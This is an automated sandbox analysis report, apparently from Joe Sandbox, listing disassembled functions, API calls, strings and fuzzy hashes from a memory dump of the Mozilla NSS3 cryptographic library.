Opcode Fuzzy Hash: c9c3cc131c576a21546a756c34039c6b216d208411ca0e3ef769b95621fdccbd
Instruction Fuzzy Hash: 2C616CB1900706AFE710CF75D884A67BBF8FF08248B05452AE90AC7B51EB70E914CBA1

Function 6CFE3FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6CFE4014

Part of subcall function 6CFE39F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CFE5E6F,?), ref: 6CFE3A08
Part of subcall function 6CFE39F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CFE5E6F), ref: 6CFE3A1C
Part of subcall function 6CFE39F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFE3A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6CFE4038

Part of subcall function 6D030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFD87ED,00000800,6CFCEF74,00000000), ref: 6D031000
Part of subcall function 6D030FF0: PR_NewLock.NSS3(?,00000800,6CFCEF74,00000000), ref: 6D031016
Part of subcall function 6D030FF0: PL_InitArenaPool.NSS3(00000000,security,6CFD87ED,00000008,?,00000800,6CFCEF74,00000000), ref: 6D03102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CFE404D

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6D0FA0F4), ref: 6CFE40C2

Part of subcall function 6D02F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6D02F0C8
Part of subcall function 6D02F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6D02F122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6CFE409A

Part of subcall function 6D02BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CFDE708,00000000,00000000,00000004,00000000), ref: 6D02BE6A
Part of subcall function 6D02BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CFE04DC,?), ref: 6D02BE7E
Part of subcall function 6D02BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6D02BEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFE40DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFE40F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFE4108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6CFE411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6CFE4137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6CFE4150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6D0FA1C8), ref: 6CFE417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6CFE4194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CFE41A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFE41B2
PK11_DestroyObject.NSS3(?,?), ref: 6CFE41D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CFE41FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6D0FA1A8), ref: 6CFE422D

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 5f108632646d3b811166ceaf731ad367c657b4efb11b958dfd383f75dcd2e996
Instruction ID: 746a6688729ed69e35d9297a468b19f7b93528252493eefbb99a29c649a6b937
Opcode Fuzzy Hash: 5f108632646d3b811166ceaf731ad367c657b4efb11b958dfd383f75dcd2e996
Instruction Fuzzy Hash: C35129B1A043017BFB109B669C41F2B7ADCDF6834CF06462DEE59C7A82FB35E5009262

Function 6D028E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6D028E01,00000000,6D029060,6D130B64), ref: 6D028E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6D028E01,00000000,6D029060,6D130B64), ref: 6D028E9E
PORT_ArenaAlloc_Util.NSS3(6D130B64,00000001,?,?,?,?,6D028E01,00000000,6D029060,6D130B64), ref: 6D028EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6D028E01,00000000,6D029060,6D130B64), ref: 6D028EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6D028E01,00000000,6D029060,6D130B64), ref: 6D028ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6D028E01,00000000,6D029060,6D130B64), ref: 6D028EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6D028E01), ref: 6D028EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6D130B64,6D130B64), ref: 6D028F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6D028F3F

Part of subcall function 6D02A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6D02A421,00000000,00000000,6D029826), ref: 6D02A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6D02904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6D028E76

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: ddbfcfe2253fda62073f599bb565f7604cc39aa02166e4b04a6083d2577540c7
Instruction ID: e5f1ed764e5018eff7fcdbd397c1822606f28031b0986dc20939c96541604e8e
Opcode Fuzzy Hash: ddbfcfe2253fda62073f599bb565f7604cc39aa02166e4b04a6083d2577540c7
Instruction Fuzzy Hash: BC618DB9D0521A9FEB10CF55DC80BAFB7B9FF88354F158028ED18A7251E731A911CBA0

Function 6CFD8E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFD8E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CFD8E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CFD8EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6D1018D0,?), ref: 6CFD8F03
PR_CallOnce.NSS3(6D132AA4,6D0312D0), ref: 6CFD8F19
PL_FreeArenaPool.NSS3(?), ref: 6CFD8F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CFD8F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CFD8F65
PL_FinishArenaPool.NSS3(?), ref: 6CFD8FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CFD8FFE
PR_CallOnce.NSS3(6D132AA4,6D0312D0), ref: 6CFD9012
PL_FreeArenaPool.NSS3(?), ref: 6CFD9024
PL_FinishArenaPool.NSS3(?), ref: 6CFD902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CFD903E

Strings

security, xrefs: 6CFD8EE7

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 6ee203c5ee08cd8b635f5faefd28057c85965b0bc5614272e11ec352a3b49166
Instruction ID: 7c31508e2b999c061e05275dda310ceef11d53a6daabb526728322b069f677e0
Opcode Fuzzy Hash: 6ee203c5ee08cd8b635f5faefd28057c85965b0bc5614272e11ec352a3b49166
Instruction Fuzzy Hash: 215139B290C301ABE7109A54EC40FAF73A8AB8575CF4B092EF9559B640D771F90487D3

Function 6D09CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6D09CC7B), ref: 6D09CD7A

Part of subcall function 6D09CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6D00C1A8,?), ref: 6D09CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6D09CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6D09CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6D09CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6D09CD8E

Part of subcall function 6CFC05C0: PR_EnterMonitor.NSS3 ref: 6CFC05D1
Part of subcall function 6CFC05C0: PR_ExitMonitor.NSS3 ref: 6CFC05EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6D09CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6D09CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6D09CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6D09CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6D09CE48

Strings

freeaddrinfo, xrefs: 6D09CD9F, 6D09CE10
ws2_32.dll, xrefs: 6D09CD75
wship6.dll, xrefs: 6D09CDE3
getnameinfo, xrefs: 6D09CDB2, 6D09CE23
getaddrinfo, xrefs: 6D09CD88, 6D09CDF9

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: fc556a8cb8f65f0fa085b23331f22b9d24a6f432e90a9543b45bb340f4e51291
Instruction ID: 90d1973fc8c6c91fa3a5548912bde4c79bb1a2f6f2e85d97074f7d3741a91e25
Opcode Fuzzy Hash: fc556a8cb8f65f0fa085b23331f22b9d24a6f432e90a9543b45bb340f4e51291
Instruction Fuzzy Hash: 101106FAF0250223FB1166B17D04BBB38995B0200CF052435E80ADA645FFE0C59586FB

Function 6D0E1C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6D0E13BC,?,?,?,6D0E1193), ref: 6D0E1C6B
PR_NewLock.NSS3(?,6D0E1193), ref: 6D0E1C7E

Part of subcall function 6D0998D0: calloc.MOZGLUE(00000001,00000084,6CFC0936,00000001,?,6CFC102C), ref: 6D0998E5

PR_NewCondVar.NSS3(00000000,?,6D0E1193), ref: 6D0E1C91

Part of subcall function 6CFBBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CFC21BC), ref: 6CFBBB8C

PR_NewCondVar.NSS3(00000000,?,?,6D0E1193), ref: 6D0E1CA7

Part of subcall function 6CFBBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CFBBBEB
Part of subcall function 6CFBBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CFBBBFB
Part of subcall function 6CFBBB80: GetLastError.KERNEL32 ref: 6CFBBC03
Part of subcall function 6CFBBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CFBBC19
Part of subcall function 6CFBBB80: free.MOZGLUE(00000000), ref: 6CFBBC22

PR_NewCondVar.NSS3(00000000,?,?,?,6D0E1193), ref: 6D0E1CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6D0E1193), ref: 6D0E1CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6D0E1193), ref: 6D0E1CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6D0E1193), ref: 6D0E1D1A

Part of subcall function 6D099BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CFC1A48), ref: 6D099BB3
Part of subcall function 6D099BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CFC1A48), ref: 6D099BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6D0E1193), ref: 6D0E1D3D

Part of subcall function 6D07DD70: TlsGetValue.KERNEL32 ref: 6D07DD8C
Part of subcall function 6D07DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D07DDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6D0E1193), ref: 6D0E1D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6D0E1193), ref: 6D0E1D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6D0E1193), ref: 6D0E1D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6D0E1193), ref: 6D0E1D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6D0E1193), ref: 6D0E1D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6D0E1193), ref: 6D0E1D93
PR_DestroyLock.NSS3(00000000,?,?,6D0E1193), ref: 6D0E1D9F
free.MOZGLUE(00000000,?,6D0E1193), ref: 6D0E1DA8

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 08827f085662cb66753597de0a602e1df1df5eccd7802fddb13550dbac57601e
Instruction ID: 05290965e94a4de19445b821c0bc72657515943b5ad2efceb787f3c3a3094d0a
Opcode Fuzzy Hash: 08827f085662cb66753597de0a602e1df1df5eccd7802fddb13550dbac57601e
Instruction Fuzzy Hash: C231D3F5E047029FFB218F65AC41B6B76F8AF01658B044838E94A9B741FB71E414CBA3

Function 6D035CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6D035EC0,00000000,?,?), ref: 6D035CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6D035CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6D035CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6D035D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6D035EC0,00000000,?,?), ref: 6D035D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6D035D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D035D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D035D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6D035D80

Strings

sql:, xrefs: 6D035CD1, 6D035D36
extern:, xrefs: 6D035CEA, 6D035D4B
NSS_DEFAULT_DB_TYPE, xrefs: 6D035D1A
multiaccess:, xrefs: 6D035CB8
dbm:, xrefs: 6D035D03, 6D035D60

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: 223391fd496b126bdd8d9d37b7862f64b91e077afdb83677d993f7cfba0be5aa
Instruction ID: 0f343876a816f706a39b394139494e39c5d93c6f553e83728801c155aa3e177b
Opcode Fuzzy Hash: 223391fd496b126bdd8d9d37b7862f64b91e077afdb83677d993f7cfba0be5aa
Instruction Fuzzy Hash: AE310BB8E443A3ABF7210A24DC4CB7637A9BF02354F060131EE55E6292F7F2D551C2A5

Function 6D036CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6D101DE0,?), ref: 6D036CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6D036D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6D036D70
PORT_Alloc_Util.NSS3(00000480), ref: 6D036D82
DER_GetInteger_Util.NSS3(?), ref: 6D036DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6D036DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6D036E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6D036F19
PK11_DigestBegin.NSS3(00000000), ref: 6D036F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6D036F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6D037011
PK11_FreeSymKey.NSS3(00000000), ref: 6D037033
free.MOZGLUE(?), ref: 6D03703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6D037060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6D037087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6D0370AF

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 3e48f1622e09ba83b033c6d653ff14fb28247419bfa3aa40f8a3ac4c26d04d68
Instruction ID: 3150005b6484199ef56df9f383ce6afbc14b7c11804a3d159193f6cc82da0df7
Opcode Fuzzy Hash: 3e48f1622e09ba83b033c6d653ff14fb28247419bfa3aa40f8a3ac4c26d04d68
Instruction Fuzzy Hash: ABA108719082239FFB009B24DC45B7E32E5EB81318F968939E919CB291E775D849C7D3

Function 6CFD98E0 Relevance: 24.3, APIs: 16, Instructions: 280stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CFF06A0: TlsGetValue.KERNEL32 ref: 6CFF06C2
Part of subcall function 6CFF06A0: EnterCriticalSection.KERNEL32(?), ref: 6CFF06D6
Part of subcall function 6CFF06A0: PR_Unlock.NSS3 ref: 6CFF06EB

PR_SetError.NSS3(FFFFE018,00000000,?,?,?,6CFD2D6B,?,?,00000000), ref: 6CFD9BA9

Part of subcall function 6CFF1750: PR_EnterMonitor.NSS3(?,?,00000000,00000000,?,6CFD991E,00000000,00000000,?,?,?,6CFD2D6B,?,?,00000000), ref: 6CFF1769
Part of subcall function 6CFF1750: PR_ExitMonitor.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CFD2D6B,?,?,00000000), ref: 6CFF180C

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,?,?,?,?,?,6CFD2D6B,?,?,00000000), ref: 6CFD9930
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,6CFD2D6B,?,?,00000000), ref: 6CFD995D
memcpy.VCRUNTIME140(00000000,?,00000001,?,?,?,?,?,?,?,?,6CFD2D6B,?,?,00000000), ref: 6CFD997E
TlsGetValue.KERNEL32(?,?,?,?,?,6CFD2D6B,?,?,00000000), ref: 6CFD99AD
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,6CFD2D6B,?,?,00000000), ref: 6CFD99C4
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6CFD2D6B,?,?,00000000), ref: 6CFD99E2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CFD2D6B), ref: 6CFD9A1F
PK11_GetInternalKeySlot.NSS3(?,?,?,?,?,?,?,?,6CFD2D6B,?,?,00000000), ref: 6CFD9A27
TlsGetValue.KERNEL32 ref: 6CFD9AE1
EnterCriticalSection.KERNEL32(00000000), ref: 6CFD9AF5
PR_Unlock.NSS3 ref: 6CFD9B11
TlsGetValue.KERNEL32 ref: 6CFD9B3B
EnterCriticalSection.KERNEL32(00000000), ref: 6CFD9B4F
PR_Unlock.NSS3 ref: 6CFD9B72
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CFD9BC7

Part of subcall function 6CFE89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CFE88AE,-00000008), ref: 6CFE8A04
Part of subcall function 6CFE89E0: EnterCriticalSection.KERNEL32(?), ref: 6CFE8A15
Part of subcall function 6CFE89E0: memset.VCRUNTIME140(6CFE88AE,00000000,00000132), ref: 6CFE8A27
Part of subcall function 6CFE89E0: PR_Unlock.NSS3(?), ref: 6CFE8A35

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Enter$CriticalSectionUnlockValue$ErrorMonitor$ExitInternalItem_K11_SlotUtilZfreememcpymemsetstrcmpstrlen
String ID:
API String ID: 568628329-0
Opcode ID: 29327188f60c74cedf185aa287af5009e69a7acf546df1f0d20bfe10ab552a9b
Instruction ID: 791960e968a142339f5f2f745a6dc0b0ed514fe40c2dbc04fa00bd8a8411f94d
Opcode Fuzzy Hash: 29327188f60c74cedf185aa287af5009e69a7acf546df1f0d20bfe10ab552a9b
Instruction Fuzzy Hash: 1C91E6B2D00205ABEB109FA4EC41BAB77B8EF45318F0A4124ED0897611FF72EA55C7D2

Function 6CFFAEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CFDAB95,00000000,?,00000000,00000000,00000000), ref: 6CFFAF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CFDAB95,00000000,?,00000000,00000000,00000000), ref: 6CFFAF39
PR_Unlock.NSS3(?,?,?,6CFDAB95,00000000,?,00000000,00000000,00000000), ref: 6CFFAF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CFDAB95,00000000,?,00000000,00000000,00000000), ref: 6CFFAF69
TlsGetValue.KERNEL32 ref: 6CFFB06B
EnterCriticalSection.KERNEL32(?), ref: 6CFFB083
PR_Unlock.NSS3(?), ref: 6CFFB0A4
TlsGetValue.KERNEL32 ref: 6CFFB0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CFFB0D9
PR_Unlock.NSS3 ref: 6CFFB102
